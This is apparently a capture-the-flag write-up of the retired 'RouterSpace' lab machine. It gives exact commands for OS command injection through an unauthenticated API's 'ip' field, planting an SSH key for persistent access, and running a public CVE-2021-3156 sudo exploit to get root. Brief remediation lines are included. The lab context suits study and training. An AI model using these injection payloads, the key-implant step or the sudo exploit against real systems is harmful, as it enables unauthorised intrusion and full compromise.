RouterSpace
Summary
The RouterSpace web application on port 80 exposed an unauthenticated JSON diagnostic API whose 'ip' parameter was passed directly to a shell command with no validation. I, without credentials, injected OS commands through that single field, confirmed execution as user 'paul', read the user flag in a single HTTP request, and implanted an SSH public key into paul's home directory — converting blind HTTP-based code execution into a persistent interactive shell.
From that foothold, the installed sudo binary proved to be version 1.8.31, unpatched against CVE-2021-3156 ('Baron Samedit'), a heap-based buffer overflow exploitable by any local user regardless of sudo policy. A public proof-of-concept was compiled on my machine, transferred via SCP over the newly established SSH channel, and executed on-target — producing an immediate root shell and completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 3
Version scan and SSH auth-method probe on both open ports.
$ nmap -Pn -sV -p22,80 --script ssh-auth-methods,ssh-hostkey $TARGETAdd the target hostname to local resolution for subsequent requests.
$ echo "$TARGET routerspace.htb" | sudo tee -a /etc/hostsConfirm X-Powered-By: RouterSpace and X-Cdn headers that fingerprint the app.
$ curl -si -A 'RouterSpaceAgent' http://routerspace.htb/ | head -30Exact commands 1
Confirm the endpoint is live and processing the ip field without any credential requirement.
$ curl -sS -m 8 -X POST -H 'User-Agent: RouterSpaceAgent' -H 'Content-Type: application/json' --data '{"ip":"0.0.0.0"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccessFixEliminate OS command injection by never passing user input directly to shell commandsCritical
Exact commands 1
Confirm RCE: response must include uid=1001(paul). If 'Suspicious activity detected' appears instead, try ip=127.0.0.1;id or a routable IP prefix.
$ curl -sS -m 8 -X POST -H 'User-Agent: RouterSpaceAgent' -H 'Content-Type: application/json' --data '{"ip":"0.0.0.0;id"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccessExact commands 1
Response body contains the user flag (<user.txt>).
$ curl -sS -m 8 -X POST -H 'User-Agent: RouterSpaceAgent' -H 'Content-Type: application/json' --data '{"ip":"0.0.0.0;cat /home/paul/user.txt"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccessExact commands 3
Generate a throwaway keypair on my machine; public key lands in /tmp/paul_ed25519.pub.
$ ssh-keygen -t ed25519 -N '' -f /tmp/paul_ed25519Replace <PAUL_ED25519_PUB_CONTENT> with the single-line content of /tmp/paul_ed25519.pub before sending.
$ curl -sS -m 8 -X POST -H 'User-Agent: RouterSpaceAgent' -H 'Content-Type: application/json' --data '{"ip":"0.0.0.0;mkdir -p /home/paul/.ssh && echo <PAUL_ED25519_PUB_CONTENT> >> /home/paul/.ssh/authorized_keys && chmod 600 /home/paul/.ssh/authorized_keys"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccessOpen an interactive SSH session as paul using the implanted key.
$ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /tmp/paul_ed25519 paul@$TARGETExact commands 2
Run from paul's SSH session — confirms Sudo version 1.8.31.
$ sudo -VConfirm Ubuntu 20.04 LTS and kernel 5.4.0-90-generic to select the correct PoC build target.
$ uname -r && grep PRETTY /etc/os-releaseExact commands 4
Clone and compile the PoC on my machine; requires gcc and make. Alternatively use the blasty/CVE-2021-3156 fork.
$ git clone https://github.com/CptGibbon/CVE-2021-3156.git /tmp/CVE-2021-3156 && cd /tmp/CVE-2021-3156 && makeBundle the compiled exploit and copy it to the target under a fixed path to avoid path confusion.
$ cd /tmp && tar czf CVE-2021-3156.tgz CVE-2021-3156 && scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /tmp/paul_ed25519 CVE-2021-3156.tgz paul@$TARGET:/tmp/cve.tgzExtract and execute the exploit on-target; returns a root shell (uid=0).
$ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /tmp/paul_ed25519 paul@$TARGET 'cd /tmp && tar xzf cve.tgz && cd CVE-2021-3156 && ./exploit'Read the root flag (<root.txt>) from inside the resulting root shell.
$ cat /root/root.txtFixPatch sudo to version 1.9.5p2 or later to close CVE-2021-3156 (Baron Samedit)High
Exposed services
| 22/tcp | ssh (protocol 2.0) |
| 80/tcp | http |